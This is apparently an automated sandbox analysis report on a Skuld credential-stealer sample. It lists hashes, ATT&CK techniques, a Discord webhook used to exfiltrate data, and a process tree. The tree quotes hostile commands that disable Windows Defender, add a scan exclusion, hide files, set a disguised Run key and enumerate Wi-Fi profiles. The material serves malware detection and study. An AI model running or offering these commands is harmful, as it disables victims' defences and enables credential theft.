skuld | d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995

Analysis

max time kernel
150s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
24-08-2024 09:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
Size

9.9MB
MD5

d00d98a03bd9a78b7ce8f77ede918b7e
SHA1

c9e7ed612aa1900f972c5c26f715c0198d32e953
SHA256

d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995
SHA512

e99a44a030f92af338d8c095ca2f10e4d1b1823545fa5af8cde8de6bb6242632d3ffff5995a3577aa0a75bd731303438030034136cc5f7116e69ccbe64199db3
SSDEEP

98304:L+v2sRfLrPSt6t/GKBvhi3DKeaJOzE7ICafZmejsEYjx:ShfLrPS9Shi3D9aEg2wjx

Score

10^/10

skuld credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1275305712578330737/ZalWpwJCemRihEDHYR7eDBQulhrbujH6uOKIzKIC7c3ieh5gpbHX77qCSy-LcQ1k8T7_

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1912	powershell.exe
3288	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1735401866-3802634615-1355934272-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
3	discord.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	api.ipify.org
1	api.ipify.org
1	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1936	netsh.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3956	wmic.exe
3660	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	5	Go-http-client/1.1

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
3288	powershell.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
3288	powershell.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
1912	powershell.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
1912	powershell.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
Token: SeIncreaseQuotaPrivilege	4704	wmic.exe
Token: SeSecurityPrivilege	4704	wmic.exe
Token: SeTakeOwnershipPrivilege	4704	wmic.exe
Token: SeLoadDriverPrivilege	4704	wmic.exe
Token: SeSystemProfilePrivilege	4704	wmic.exe
Token: SeSystemtimePrivilege	4704	wmic.exe
Token: SeProfSingleProcessPrivilege	4704	wmic.exe
Token: SeIncBasePriorityPrivilege	4704	wmic.exe
Token: SeCreatePagefilePrivilege	4704	wmic.exe
Token: SeBackupPrivilege	4704	wmic.exe
Token: SeRestorePrivilege	4704	wmic.exe
Token: SeShutdownPrivilege	4704	wmic.exe
Token: SeDebugPrivilege	4704	wmic.exe
Token: SeSystemEnvironmentPrivilege	4704	wmic.exe
Token: SeRemoteShutdownPrivilege	4704	wmic.exe
Token: SeUndockPrivilege	4704	wmic.exe
Token: SeManageVolumePrivilege	4704	wmic.exe
Token: 33	4704	wmic.exe
Token: 34	4704	wmic.exe
Token: 35	4704	wmic.exe
Token: 36	4704	wmic.exe
Token: SeIncreaseQuotaPrivilege	4704	wmic.exe
Token: SeSecurityPrivilege	4704	wmic.exe
Token: SeTakeOwnershipPrivilege	4704	wmic.exe
Token: SeLoadDriverPrivilege	4704	wmic.exe
Token: SeSystemProfilePrivilege	4704	wmic.exe
Token: SeSystemtimePrivilege	4704	wmic.exe
Token: SeProfSingleProcessPrivilege	4704	wmic.exe
Token: SeIncBasePriorityPrivilege	4704	wmic.exe
Token: SeCreatePagefilePrivilege	4704	wmic.exe
Token: SeBackupPrivilege	4704	wmic.exe
Token: SeRestorePrivilege	4704	wmic.exe
Token: SeShutdownPrivilege	4704	wmic.exe
Token: SeDebugPrivilege	4704	wmic.exe
Token: SeSystemEnvironmentPrivilege	4704	wmic.exe
Token: SeRemoteShutdownPrivilege	4704	wmic.exe
Token: SeUndockPrivilege	4704	wmic.exe
Token: SeManageVolumePrivilege	4704	wmic.exe
Token: 33	4704	wmic.exe
Token: 34	4704	wmic.exe
Token: 35	4704	wmic.exe
Token: 36	4704	wmic.exe
Token: SeIncreaseQuotaPrivilege	3660	wmic.exe
Token: SeSecurityPrivilege	3660	wmic.exe
Token: SeTakeOwnershipPrivilege	3660	wmic.exe
Token: SeLoadDriverPrivilege	3660	wmic.exe
Token: SeSystemProfilePrivilege	3660	wmic.exe
Token: SeSystemtimePrivilege	3660	wmic.exe
Token: SeProfSingleProcessPrivilege	3660	wmic.exe
Token: SeIncBasePriorityPrivilege	3660	wmic.exe
Token: SeCreatePagefilePrivilege	3660	wmic.exe
Token: SeBackupPrivilege	3660	wmic.exe
Token: SeRestorePrivilege	3660	wmic.exe
Token: SeShutdownPrivilege	3660	wmic.exe
Token: SeDebugPrivilege	3660	wmic.exe
Token: SeSystemEnvironmentPrivilege	3660	wmic.exe
Token: SeRemoteShutdownPrivilege	3660	wmic.exe
Token: SeUndockPrivilege	3660	wmic.exe
Token: SeManageVolumePrivilege	3660	wmic.exe
Token: 33	3660	wmic.exe
Token: 34	3660	wmic.exe
Token: 35	3660	wmic.exe
Token: 36	3660	wmic.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 4488 wrote to memory of 2392	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	82
PID 4488 wrote to memory of 2392	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	82
PID 4488 wrote to memory of 2684	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	83
PID 4488 wrote to memory of 2684	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	83
PID 4488 wrote to memory of 4704	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	85
PID 4488 wrote to memory of 4704	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	85
PID 4488 wrote to memory of 3660	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	87
PID 4488 wrote to memory of 3660	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	87
PID 4488 wrote to memory of 3288	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	88
PID 4488 wrote to memory of 3288	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	88
PID 4488 wrote to memory of 2984	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	89
PID 4488 wrote to memory of 2984	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	89
PID 4488 wrote to memory of 3428	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	90
PID 4488 wrote to memory of 3428	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	90
PID 4488 wrote to memory of 1912	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	91
PID 4488 wrote to memory of 1912	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	91
PID 4488 wrote to memory of 3956	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	92
PID 4488 wrote to memory of 3956	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	92
PID 4488 wrote to memory of 1720	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	93
PID 4488 wrote to memory of 1720	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	93
PID 4488 wrote to memory of 1240	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	94
PID 4488 wrote to memory of 1240	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	94
PID 4488 wrote to memory of 4448	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	95
PID 4488 wrote to memory of 4448	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	95
PID 4488 wrote to memory of 1936	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	96
PID 4488 wrote to memory of 1936	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	96
PID 4488 wrote to memory of 4076	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	97
PID 4488 wrote to memory of 4076	4488	d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe	97
PID 4076 wrote to memory of 3512	4076	powershell.exe	98
PID 4076 wrote to memory of 3512	4076	powershell.exe	98
PID 3512 wrote to memory of 5016	3512	csc.exe	99
PID 3512 wrote to memory of 5016	3512	csc.exe	99

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4448	attrib.exe
2392	attrib.exe
2684	attrib.exe
1240	attrib.exe

C:\Users\Admin\AppData\Local\Temp\d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
"C:\Users\Admin\AppData\Local\Temp\d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4488
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
  2⤵
  - Views/modifies file attributes
  PID:2392
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:2684
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4704
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious use of AdjustPrivilegeToken
  PID:3660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3288
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:2984
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:3428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1912
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3956
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:1720
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:1240
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:4448
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
